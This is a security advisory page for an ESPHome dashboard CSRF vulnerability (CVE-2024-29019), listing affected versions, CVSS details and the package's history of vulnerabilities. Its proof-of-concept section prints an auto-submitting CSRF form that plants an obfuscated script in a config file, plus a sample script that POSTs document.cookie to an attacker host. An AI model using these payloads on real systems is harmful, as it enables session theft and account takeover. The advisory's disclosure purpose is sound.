High

ESPHome vulnerable to Authentication bypass via Cross site request forgery

  • Disclosed: 21.03.2024
  • Updated: 11.10.2026 13:19

Summary

API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete).

Details

It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform.

PoC

An example of malicious web page that abuses this vulnerability:

<html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="&lt;script&gt;&#13;&#10;fetch&#40;&apos;https&#58;&#47;&#47;907zv9yp9u3rjerkiakydpvcr3xulk99&#46;oastify&#46;com&#63;x" value="y&apos;&#44;&#32;&#123;&#13;&#10;method&#58;&#32;&apos;POST&apos;&#44;&#13;&#10;mode&#58;&#32;&apos;no&#45;cors&apos;&#44;&#13;&#10;body&#58;document&#46;cookie&#13;&#10;&#125;&#41;&#59;&#13;&#10;&lt;&#47;script&gt;&#13;&#10;" /> </form>
<script>
document.forms[0].submit();
</script>

<script>
</script>
</body> </html>

In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page.

Example of such script:

<script> fetch('https://attacker.domain', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>

Impact

This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page.

In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) esphome >= 2023.12.9, < 2024.3.0 2024.3.0

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-352
Platform
Python (PyPI)
Package
esphome
Disclosed
21.03.2024
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1327 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-5925-88xh-6h99 - CC BY 4.0

Vulnerability history: esphome

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
6
First → latest
09.2021 01.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 4
  • Medium 2

Disclosures per year

  1. 2021: 1
  2. 2022: 0
  3. 2023: 0
  4. 2024: 3
  5. 2025: 1
  6. 2026: 1
  1. ESPHome vulnerable to Authentication bypass via Cross site request forgery this entry
    High · 8.1 CVE-2024-29019 >= 2023.12.9, < 2024.3.0 2024.3.0
  2. Medium · 6.5 CVE-2024-27287 >= 2023.12.9, < 2024.2.2 2024.2.2
  3. High · 7.2 CVE-2024-27081 >= 2023.12.9, < 2024.2.1 2024.2.1
  4. High · 7.5 CVE-2021-41104 < 2021.9.2 2021.9.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.